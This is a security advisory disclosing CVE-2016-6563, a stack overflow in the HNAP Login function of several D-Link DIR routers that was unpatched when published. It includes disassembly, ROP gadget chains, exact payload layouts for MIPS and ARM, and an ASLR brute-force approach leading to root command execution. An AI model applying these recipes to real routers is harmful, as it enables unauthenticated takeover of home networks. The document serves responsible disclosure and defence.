tl;dr
A stack bof in several Dlink routers, which can be exploited by an
unauthenticated attacker in the LAN. There is no patch as Dlink did not
respond to CERT's requests. As usual, a Metasploit module is in the
queue (see [9] below) and should hopefully be integrated soon.
The interesting thing about this vulnerability is that it affects both
ARM and MIPS devices, so exploitation is slightly different for each type.
Link to CERT's advisory:
https://www.kb.cert.org/vuls/id/677427
Link to a copy of the advisory pasted below:
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt
Have fun.
Regards,
Pedro
>> Multiple vulnerabilities in Dlink DIR routers HNAP Login function
(multiple routers affected)
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information
Security
==========================================================================
Disclosure: 07/11/2016 / Last updated: 07/11/2016
>> Background on the affected products:
"Smartphones, laptops, tablets, phones, Smart TVs, game consoles and
more a all being connected at the same time. Thatas why we created the
new AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to
3.2Gbps, it delivers the necessary ultra-performance to power even the
most demanding connected homes, making it the best wireless home router
for gaming."
>> Summary:
Dlink routers expose a protocol called HNAP (Home Network Administration
Protocol) on the LAN interface. This is a SOAP protocol that allows
identification, configuration, and management of network devices. It
seems Dlink uses an implementation of this protocol to communicate with
the router's web interface over the LAN. For more information regarding
HNAP, see [1] and [2].
Dlink has a long history of vulnerabilities in HNAP. Craig Heffner in
particular seems to have found a lot of them (see [3], [4], [5], [6],
[7], [8]).
This new vulnerability occurs in the processing of XML tags inside SOAP
messages when performing the HNAP Login action. The affected function
contains two subsequent stack overflows, which can be exploited by an
unauthenticated attacker on the LAN. It affects a number of Dlink
routers which span the ARM and MIPS architectures. A Metasploit module
that exploits this vulnerability for both architectures has been
released [9].
A special thanks to CERT/CC and Trent Novelly for help with disclosing
this vulnerability to the vendor. Please refer to CERT's advisory for
more details [10].
>> Technical details:
Vulnerability: Stack buffer overflow
CVE-2016-6563
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below
for other constraints.
Affected versions:
The following MIPS devices have been confirmed to be vulnerable:
DIR-823
DIR-822
DIR-818L(W)
The following ARM devices have been confirmed to be vulnerable:
DIR-895L
DIR-890L
DIR-885L
DIR-880L
DIR-868L -> Rev. B and C only
There might be other affected devices which are not listed above.
-----------------------
Vulnerability details and MIPS exploitation
-----------------------
The vulnerable function, parse_xml_value (my name, not a symbol), is
called from hnap_main (a symbol in the binary) in /htdocs/cgibin.
This function takes 3 arguments: the first is the request object /
string, the second is the XML tag name to be parsed inside the request,
and the third is a pointer to where the value of that tag should be
returned.
The function tries to find the tag name inside the request object and
then extracts the tag value, copying it first to a local variable and
then to the third argument. This function is called from hnap_main when
performing the HNAP Login action to obtain the values of Action,
Username, LoginPassword and Catpcha from the SOAP request shown above.
parse_xml_value(char* request, char* XMLtag, char* tag_value)
(...)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start, $v0, $s0
# s2 now points to $value
.text:00412268 C30 la $t9, strstr
.text:0041226C C30 move $a1, xml_tag_value_end # needle
.text:00412270 C30 jalr $t9 ; strstr
.text:00412274 C30 move $a0, xml_tag_value_start #
haystack
.text:00412278 C30 lw $gp, 0xC30+var_C20($sp)
.text:0041227C C30 beqz $v0, loc_4122BC
.text:00412280 C30 subu xml_tag_value_end, $v0,
xml_tag_value_start # s1 now holds the ptr to value$
.text:00412284 C30 bltz xml_tag_value_end, loc_4122BC
.text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var
.text:0041228C C30 la $t9, strncpy
.text:00412290 C30 move $a2, xml_tag_value_end # n
.text:00412294 C30 move $a1, xml_tag_value_start # src
.text:00412298 C30 addu xml_tag_value_end, $s0,
xml_tag_value_end
.text:0041229C C30 jalr $t9 ; strncpy # copies all
chars in $value$ to xml_tag_var using strncpy
.text:004122A0 C30 move $a0, $s0 # dest
.text:004122A4 C30 move $a0, a2_ptr # a2_ptr is
a stack variable from hnap_main (passed as third argument to
parse_xml_value)
.text:004122A8 C30 lw $gp, 0xC30+var_C20($sp)
.text:004122AC C30 move $a1, $s0 # src
.text:004122B0 C30 la $t9, strcpy # copies
xml_tag_var into a2_ptr using strcpy
.text:004122B4 C30 jalr $t9 ; strcpy # the stack
of the calling function (hnap_main) is thrashed if 2408+ bytes are sent
.text:004122B8 C30 sb $zero, 0(xml_tag_value_end)
(...)
There are two overflows, therefore two choices for exploitation:
1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes.
This overflow occurs even though strncpy is used, because the argument
to strncpy is simply the strlen of the value inside the XML tag.
2) Alternatively, it's possible to overrun the stack of the calling
function (hnap_main), using only 2408+ bytes - this is because strcpy is
used to copy the xml_tag_var onto the third argument received by
parse_xml_value, which is a pointer to a stack variable in hnap_main.
Exploiting 1) is easier, and the following example will explain how.
All the affected MIPS devices use the same version of uClibc
(libuClibc-0.9.30.3.so) and seem to load it at 0x2aabe000, which makes
exploitation trivial for all firmware versions. It should be noted that
the MIPS devices use the RTL8881a CPU, which is based on a Lextra
RLX5281 core. The Lextra RLX cores are MIPS clones, but they're bit
crippled as they are lacking a few load and store instructions. For this
reason, some generic shellcodes that work on MIPS might not work on
these CPUs (especially when obfuscated).
The devices also do not have NX, ASLR nor any other modern memory
protections, so the shellcode is executed directly on the stack.
However, it's necessary to use ROP to prepare the stack for execution,
which can be executed with gadgets taken from libuClibc-0.9.30.3.so.
Due to the way MIPS CPUs work, it's necessary to flush the CPU cache
before executing the exploit. This can be forced by calling sleep() from
libc (refer to
http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html for
an explanation on the MIPS CPU caches).
So the ROP chain and shellcode will look like:
first_gadget - execute sleep and call second_gadget
.text:0004EA1C move $t9, $s0 <- sleep()
.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
.text:0004EA24 li $a0, 2 <- arg for sleep()
.text:0004EA28 lw $s0, 0x20+var_8($sp)
.text:0004EA2C li $a1, 1
.text:0004EA30 move $a2, $zero
.text:0004EA34 jr $t9
.text:0004EA38 addiu $sp, 0x20
second_gadget - puts stack pointer in a1:
.text:0002468C addiu $s1, $sp, 0x58
.text:00024690 li $s0, 0x44
.text:00024694 move $a2, $s0
.text:00024698 move $a1, $s1
.text:0002469C move $t9, $s4
.text:000246A0 jalr $t9
.text:000246A4 move $a0, $s2
third_gadget - call $a1 (which now has the stack pointer):
.text:00041F3C move $t9, $a1
.text:00041F40 move $a1, $a2
.text:00041F44 addiu $a0, 8
.text:00041F48 jr $t9
.text:00041F4C nop
When the crash occurs, the stack pointer is at xml_tag_value[3128]. In
order to have a larger space for the shellcode (3000+ bytes), it's
possible to jump back to xml_tag_value[0].
prep_shellcode_1 = 23bdf3c8 # addi sp,sp,-3128
prep_shellcode_2 = 03a0f809 # jalr sp
branch_delay = 2084f830 # addi a0,a0,-2000 (NOP executed as a
MIPS branch delay slot)
The final Action / Username / LoginPassword / Catpcha XML parameter
value will be:
shellcode + 'a' * (3072 - shellcode.size) + sleep() + '1' * 4 + '2' * 4
+ '3' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget +
'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
'a', 'b' and 'c' are just fillers to make up the buffer, while '1111',
'2222' and '3333' will be the values of s1, s2 and s3 registers (which
are not interesting for exploitation), and the rest is the ROP chain,
shellcode and stack preparation routine. The only bad character that
cannot be sent in the payload is the null byte as this is a str(n)cpy
overflow. Up to 3350 characters can be sent, as after that it's hard to
control the overflow in a reliable way. Note that all of this is to
exploit the first buffer overflow with strncpy, but the second buffer
overflow can be exploited in a similar way.
As explained above, due to the use of a crippled MIPS core, generic
shellcodes found on the Internet will likely fail. Some very simple ones
work, but the best is to craft a reliable one. The simple Metasploit
bind shell also seems to work pretty reliably if no encoder is used.
-----------------------
ARM exploitation
-----------------------
The same two stack overflows affect ARM, but require less bytes to
overflow the stack. The following snippet is the same part of
parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the
DIR-868 Rev. B):
.text:00018F34 C30 LDR R1, [R11,#src] ; src
.text:00018F38 C30 LDR R2, [R11,#n] ; n
.text:00018F3C C30 SUB R3, R11, #-xml_tag_var
.text:00018F40 C30 SUB R3, R3, #4
.text:00018F44 C30 SUB R3, R3, #4
.text:00018F48 C30 MOV R0, R3 ; dest
.text:00018F4C C30 BL strncpy ; first overflow occurs here
(xml_tag_var in parse_xml_stack) with 1024+ characters
.text:00018F50 C30 MOV R3, #0xFFFFFBEC
.text:00018F58 C30 LDR R2, [R11,#n]
.text:00018F5C C30 SUB R1, R11, #-var_4
.text:00018F60 C30 ADD R2, R1, R2
.text:00018F64 C30 ADD R3, R2, R3
.text:00018F68 C30 MOV R2, #0
.text:00018F6C C30 STRB R2, [R3]
.text:00018F70 C30 SUB R3, R11, #-xml_tag_var
.text:00018F74 C30 SUB R3, R3, #4
.text:00018F78 C30 SUB R3, R3, #4
.text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a
stack variable from hnap_main
.text:00018F80 C30 MOV R1, R3 ; src
.text:00018F84 C30 BL strcpy ; second overflow occurs here
The stack size will be smaller for both parse_xml_value and hnap_main
when compared to the MIPS binary. This time again it's easier to exploit
the easier strncpy overflow in parse_xml_value, but only 1024 bytes are
enough to overflow the stack. As with the MIPS exploit, the only bad
character is the null byte.
The affected ARM devices have a non-executable stack (NX) and 32 bit
ASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak - there
are only 3 bytes that change in the address calculations, which means
there are only 4096 possible values. The attack has to be run several
times until the correct base address is hit, but this can usually be
achieved in less than 1000 attempts.
The easiest attack to perform is a return-to-libc to execute a command
with system(). To do this, R0 must point to the stack location where the
command is before system() is called. All the affected ARM devices seem
to use the same version of uClibc (libuClibc-0.9.32.1.so) for all
firmware versions, which makes gadget hunting much easier and allows
building an exploit that works on all the devices without any modification.
first_gadget (pops system() address into r3, and second_gadget into PC):
.text:00018298 LDMFD SP!, {R3,PC}
second_gadget (puts the stack pointer into r0 and calls system() at r3):
.text:00040CB8 MOV R0, SP
.text:00040CBC BLX R3
system() (Executes argument in r0 (our stack pointer)
.text:0005A270 system
The final Action / Username / LoginPassword / Catpcha XML parameter
value will be:
'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() +
second_gadget + command
a / b = filler
0xffffffff = integer n (see below)
AAAA = R11
first_gadget = initial PC
payload = stack points here after execution of our ROP chain; it should
point to whatever we want system() to execute
When the overflow happens, the stack var "n" is overwritten, which is
used to calculate a memory address (see 0x18F58). In order not to crash
the process before the shellcode is executed, the variable needs to be
set to a numeric value that can be used to calculate a valid memory
address. A good value to choose is 0xffffffff, as this will just
subtract 1 from the calculated memory address and prevent an invalid
memory access.
From this point onwards, it's possible to execute any command in
"payload". For example, wget can be used to download a shell and execute
it or a telnet server can be started. All commands will be executed as root.
>> Fix:
Dlink did not respond to my or CERT's request for information, so no
firmware fix is available at the time of writing.
Given that this vulnerability can only be exploited in the LAN, it is
recommended to have a strong wireless password to prevent untrusted
clients from connecting to the router.
>> References:
[1]
https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648
[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol
[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/
[6]
https://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html
[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf
[8]
http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection
[9] https://github.com/rapid7/metasploit-framework/pull/7543
[10] https://www.kb.cert.org/vuls/id/677427
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>